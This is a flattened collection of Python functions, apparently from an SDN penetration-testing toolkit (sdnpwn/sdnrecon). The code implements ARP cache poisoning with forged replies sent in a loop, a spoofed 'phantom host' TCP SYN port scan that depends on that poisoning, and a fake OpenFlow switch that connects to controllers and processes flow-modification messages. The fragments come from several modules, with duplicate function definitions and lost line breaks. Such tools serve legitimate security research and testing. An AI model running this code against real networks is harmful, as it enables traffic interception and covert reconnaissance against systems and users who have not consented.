def run(params): global poisoningComplete global haltPoisoning poisoningComplete = False haltPoisoning = False signal.signal(signal.SIGINT, signal_handler) iface = sdnpwn.getArg(["--iface", "-i"], params) vIP = sdnpwn.getArg(["--victim", "-v"], params) vMac = sdnpwn.getArg(["--victim-mac", "-vM"], params) targetIP = sdnpwn.getArg(["--target-ip", "-t"], params) newMac = sdnpwn.getArg(["--mac", "-m"], params) loop = sdnpwn.checkArg(["--loop", "-l"], params) loopDelay = sdnpwn.getArg(["--delay", "-d"], params, 1) if(vMac == None): vMac = sdnpwn.getTargetMacAddress(iface, vIP) if(vIP == None or vMac == None or targetIP == None or newMac == None): print(info()) print(usage()) return thisHostIP = sdnpwn.getIPAddress(iface) thisHostMAC = sdnpwn.getMacAddress(iface) if((thisHostIP == '0') or (thisHostMAC == '0')): sdnpwn.message("Invalid interface", sdnpwn.ERROR) return arpCachePoison(iface, vIP, vMac, targetIP, newMac, thisHostIP, thisHostMAC, loop, loopDelay)
def scan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC, targetPort): global scanPrepped if(scanPrepped == None or scanPrepped == False): prepForScan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC) sourcePort = getUniqueNum() tcpSeqNum = getUniqueNum() sniffingThread = Thread(target=listen, args=(interface, targetIP, targetMAC, targetPort, phantomIP, sourcePort, tcpSeqNum)).start() sleep(1) sdnpwn.message("Checking Port " + targetPort, sdnpwn.NORMAL) sendTCPSYN(interface, targetIP, targetMAC, targetPort, phantomIP, thisHostMAC, sourcePort, tcpSeqNum)
def getPorts(port): ports_arr = [] if (port == None): sdnpwn.message("No ports given, using 6633,6634, and 6653.", sdnpwn.NORMAL) ports_arr = [6633, 6634, 6653] elif ("," in port): ports_arr = port.split(",") elif ("-" in port): #ports_arr = [] for p in range(int(port.split("-")[0]), int(port.split("-")[1]) + 1): ports_arr.append(p) else: ports_arr.append(port) return ports_arr
def arpCachePoison(interface, vicIP, vicMAC, targetIP, newMac, thisHostIP, thisHostMAC, loop, loopDelay): global poisoningComplete global haltPoisoning poisoningComplete = False haltPoisoning = False sdnpwn.message("Sending gratuitous ARP for legitimate host to " + vicIP, sdnpwn.NORMAL) sendp(Ether(src=thisHostMAC, dst=vicMAC)/ARP(hwsrc=thisHostMAC, pdst=thisHostIP)) sleep(2) #Need to wait to ensure that the flow has been installed on the switches sdnpwn.message("Poisoning target " + vicIP, sdnpwn.NORMAL) malARP = (Ether(src=thisHostMAC, dst=vicMAC)/ARP(op=ARP.is_at, psrc=targetIP,hwsrc=newMac, pdst=targetIP)) if(loop == True): while(haltPoisoning == False): sendp(malARP) sleep(loopDelay) poisoningComplete = True else: sendp(malARP) poisoningComplete = True
def prepForScan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC): global scanPrepped global poisoningThread sdnpwn.message("Inserting entery for Phantom Host in target ARP cache...", sdnpwn.NORMAL) sdnpwn.message("Sending SYN from Phantom (" + phantomIP + ") to " + targetIP, sdnpwn.NORMAL) sendTCPSYN(interface, targetIP, targetMAC, getUniqueNum(), phantomIP, thisHostMAC, getUniqueNum(), getUniqueNum()) sdnpwn.message("Waiting for ARP request for Phantom (" + phantomIP + ")", sdnpwn.NORMAL) sniff(iface=interface, filter="arp and host " + targetIP, store=0, count=1) sdnpwn.message("Done. IP should be in cache", sdnpwn.SUCCESS) scanPrepped = True try: if(poisoningThread == None): poisoningThread = Thread(target=dpap.arpCachePoison, args=(interface, targetIP, targetMAC, phantomIP, phantomMAC, thisHostIP, thisHostMAC, True, 2)).start() except Exception as e: sdnpwn.message("Issue starting poisoning thread", sdnpwn.ERROR) print(e) exit(0)
def handlePacketOut(device, header, body, verbose): if (verbose): print("Got PacketOut") packetOut = PacketOut() packetOut.unpack(body) tempFlow = Flow() try: pkt = Ether(packetOut.data.pack()) if (verbose): print(Flow.actionsToString(actions)) pkt.show() if (device.forward_packet_out_payload == True): if (device.forward_packet_out_port_filter is not None): if (("Port " + str(device.forward_packet_out_port_filter)) in tempFlow.actionsToString(packetOut.actions)): sendp(pkt, iface=device.forward_packet_out_iface) else: sendp(pkt, iface=device.forward_packet_out_iface) except Exception as e: sdnpwn.message("Got error handling packet out.", sdnpwn.WARNING) sdnpwn.message(str(e), sdnpwn.VERBOSE)
def loadConfiguration(self, config): self.switch_vendor_id = config["vendor_id"] self.switch_desc["switch_mfr_desc"] = config["description"][ "manufacturer_description"] self.switch_desc["switch_hw_desc"] = config["description"][ "hardware_description"] self.switch_desc["switch_sw_desc"] = config["description"][ "software_description"] self.switch_desc["switch_serial_num"] = config["description"][ "serial_number"] self.switch_desc["switch_dp_desc"] = config["description"][ "dataplane_description"] self.switch_features["dpid"] = config["features"]["dataplane_id"] self.switch_features["no_of_buffers"] = config["features"][ "number_of_buffers"] self.switch_features["no_of_tables"] = config["features"][ "number_of_tables"] self.switch_features["capabilities"] = config["features"][ "capabilities"] self.switch_features["actions"] = config["features"]["actions"] self.switch_features["ports"] = [] if (isinstance(config["ports"], list)): for port in config["ports"]: self.addPort( port["port_no"], port["hardware_address"], port["port_name"], port["port_config"], port["port_state"], port["port_curr"], port["port_advertised"], port["port_supported"], port["port_peer"]) #Need to add config options here elif (isinstance(config["ports"], int)): for i in range(config["ports"]): self.addPort() else: sdnpwn.message( "Could not load port config. Switch will have no ports.", sdnpwn.WARNING) self.switch_stats["flow"] = config["stats"]["flow_stats"]
def handleFlowMod(device, header, body, verbose): if (verbose): print("Got FlowMod") flowMod = FlowMod() flowMod.unpack(body) flow = Flow(match=flowMod.match, cookie=flowMod.cookie, idle_timeout=flowMod.idle_timeout, hard_timeout=flowMod.hard_timeout, priority=flowMod.priority, buffer_id=flowMod.buffer_id, out_port=flowMod.out_port, flags=flowMod.flags, actions=flowMod.actions) if (flowMod.command == FlowModCommand.OFPFC_ADD): sdnpwn.message("Adding New Flow ", sdnpwn.NORMAL) device.switch_flows[str(flow.cookie)] = flow elif (flowMod.command == FlowModCommand.OFPFC_MODIFY): sdnpwn.message("Modifying Flow ", sdnpwn.NORMAL) device.switch_flows[str(flow.cookie)] = flow elif (flowMod.command == FlowModCommand.OFPFC_MODIFY_STRICT): sdnpwn.message("Modifying Flow (Strict) ", sdnpwn.NORMAL) device.switch_flows[str(flow.cookie)] = flow elif (flowMod.command == FlowModCommand.OFPFC_DELETE): sdnpwn.message("Deleting Flow ", sdnpwn.NORMAL) if (flow.cookie == 0): device.switch_flows = {} else: del device.switch_flows[str(flow.cookie)] elif (flowMod.command == FlowModCommand.OFPFC_DELETE_STRICT): sdnpwn.message("Deleting Flow (Strict) ", sdnpwn.NORMAL) if (flow.cookie == 0): device.switch_flows = {} else: del device.switch_flows[str(flow.cookie)] print(flow.toString())
def packetHandler(pkt): #This is the function scapy will use as the callback if(TCP in pkt): if(pkt[IP].src == targetIP and pkt[TCP].dport == sourcePort): flags = getFlags(pkt[TCP].flags) if(flags == "SA"): status.append("open") sdnpwn.message("Port " + targetPort + " open", sdnpwn.SUCCESS) elif(flags == "RA"): status.append("closed") sdnpwn.message("Port " + targetPort + " closed", sdnpwn.ERROR) else: status.append("unknown") sdnpwn.message("Got flags " + flags + " for port " + targetPort, sdnpwn.WARNING) return
def signal_handler(signal, frame): #Handle Ctrl+C here print("") sdnpwn.message("Stopping...", sdnpwn.NORMAL) exit(0)
def printFeatureReplyDetails(ofFeatureReply): sdnpwn.message("Device Datapath ID: " + str(ofFeatureReply.datapath_id), sdnpwn.NORMAL) sdnpwn.message("Number of Buffers: " + str(ofFeatureReply.n_buffers), sdnpwn.NORMAL) sdnpwn.message("Number of Tables: " + str(ofFeatureReply.n_tables), sdnpwn.NORMAL) sdnpwn.message( "Capabilities: " + bin(int(str(ofFeatureReply.capabilities))), sdnpwn.NORMAL) sdnpwn.message("Actions: " + bin(int(str(ofFeatureReply.actions))), sdnpwn.NORMAL) sdnpwn.message("Ports: ", sdnpwn.NORMAL) for p in ofFeatureReply.ports: print("\tNumber: " + str(p.port_no)) print("\tHardware Address: " + str(p.hw_addr)) print("\tName: " + str(p.name)) if (str(p.curr) != "0"): print("\tCurrent Features:") print("\t\t" + getPortFeaturesAsString(p.curr)) if (str(p.advertised) != "0"): print("\tAdvertised Features:") print("\t\t" + getPortFeaturesAsString(p.advertised)) if (str(p.supported) != "0"): print("\tSupported Features:") print("\t\t" + getPortFeaturesAsString(p.supported)) if (str(p.peer) != "0"): print("\tPeer Features:") print("\t\t" + getPortFeaturesAsString(p.peer)) if (str(p.config) != "0"): print("Configuration: ") print("\t" + getPortConfigAsString(p.config)) if (str(p.state) != "0"): print("State: ") print("\t" + getPortStateAsString(p.state))
def connect(self, controllerIP, port): try: self.comm_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.comm_sock.connect((controllerIP, port)) except Exception as e: sdnpwn.message( "Problem connecting to " + controllerIP + ":" + str(port), sdnpwn.ERROR) print return sdnpwn.message("Socket connected. Sending OF Hello...", sdnpwn.SUCCESS) ofHello = Hello(xid=5) ofHello.header.xid = 5 self.comm_sock.send(ofHello.pack()) #Send Hello header = Header() replyHeader = self.comm_sock.recv(8) #Get hello response header & body header.unpack(replyHeader) sdnpwn.message("Got " + str(header.message_type), sdnpwn.NORMAL) sdnpwn.message("Controller base OF version: " + str(header.version), sdnpwn.VERBOSE) try: replyBody = self.comm_sock.recv(header.length - 8) #Get body but ignore except: pass sdnpwn.message("Connected to controller", sdnpwn.SUCCESS) if (self.auto_handle_Messages == True): run = True sdnpwn.message("Handling OpenFlow messages automatically", sdnpwn.NORMAL) while (run): #try: #Get feature request reply = self.comm_sock.recv(8) header.unpack(reply) if (header.length == None): sdnpwn.message("Got bad OF message. Closing.", sdnpwn.WARNING) run = False self.comm_sock.close() else: replyBody = self.comm_sock.recv(header.length - 8) try: autohandleOFMessage(self, header, replyBody, self.enable_output) except Exception as e: sdnpwn.message("Error handling OF message", sdnpwn.WARNING) print(e) #except Exception as e: #sdnpwn.message("Socket disconnected", sdnpwn.ERROR) #print(e) #self.comm_sock.close() #break else: return True
def signal_handler(signal, frame): sdnpwn.message("Stopping...", sdnpwn.NORMAL) stopPoisoning()
def run(params): global scanPrepped scanPrepped = False conf.verb = 0 #Set scapy verbose mode off signal.signal(signal.SIGINT, signal_handler) interface = None targetIP = None targetMAC = None targetPort = None phantomIP = None phantomMAC = None export=False row = {'Port': [], 'Status': []} port,status=[],[] if("--iface" in params): interface = params[params.index("--iface")+1] if("--target-ip" in params): targetIP = params[params.index("--target-ip")+1] if("--target-mac" in params): targetMAC = params[params.index("--target-mac")+1] if("--ports" in params): targetPort = params[params.index("--ports")+1] if("--phantom-ip" in params): phantomIP = params[params.index("--phantom-ip")+1] if("--phantom-mac" in params): phantomMAC = params[params.index("--phantom-mac")+1] if("--export" in params): export = True if(interface == None or targetIP == None or targetPort == None or phantomIP == None): print(info()) print(usage()) return list_target=[] if ("," in targetIP): list_target = targetIP.split(",") for t in list_target: if(targetMAC == None): sdnpwn.message("Sending ARP request for target MAC", sdnpwn.NORMAL) targetMAC = sdnpwn.getTargetMacAddress(interface, t) sdnpwn.message("Got target MAC: " + targetMAC, sdnpwn.NORMAL) if(phantomMAC == None): phantomMAC = sdnpwn.generateRandomMacAddress() #print(phantomMAC) sdnpwn.message("Generated Phantom host MAC: " + phantomMAC, sdnpwn.NORMAL) targetPorts = targetPort.split(",") sourcePort = getUniqueNum() tcpSeqNum = getUniqueNum() thisHostIP = sdnpwn.getIPAddress(interface) thisHostMAC = sdnpwn.getMacAddress(interface) if((thisHostIP == '0') or (thisHostMAC == '0')): sdnpwn.message("Invalid interface", sdnpwn.ERROR) exit(0) prepForScan(interface, t, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC) while(dpap.isPoisoningComplete() == False): sleep(2) sdnpwn.message("Waiting for poisoning to complete...", sdnpwn.NORMAL) sdnpwn.message("Starting port scan", sdnpwn.SUCCESS) for p in targetPorts: port.append(p) scan(interface, t, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC, p) if (export == True): row['Port'] = port row['Status'] = status path = os.getcwd()[0:(int(os.getcwd().find("sdnrecon")))] filename=path+ "sdnrecon/report/port_scan/report_phantom_portscan.xlsx" df = pd.DataFrame(row) df.to_excel(filename, index = False, header=True) print("[##] Result saved to " + "/sdnrecon/report/port_scan/report_phantom_portscan.xlsx") sleep(2) sdnpwn.message("Finishing up...", sdnpwn.NORMAL) dpap.stopPoisoning() return
def signal_handler(signal, frame): sdnpwn.message("Stopping...", sdnpwn.NORMAL) #for t in runningThreads: #runningThreads.remove(t) sys.exit(0)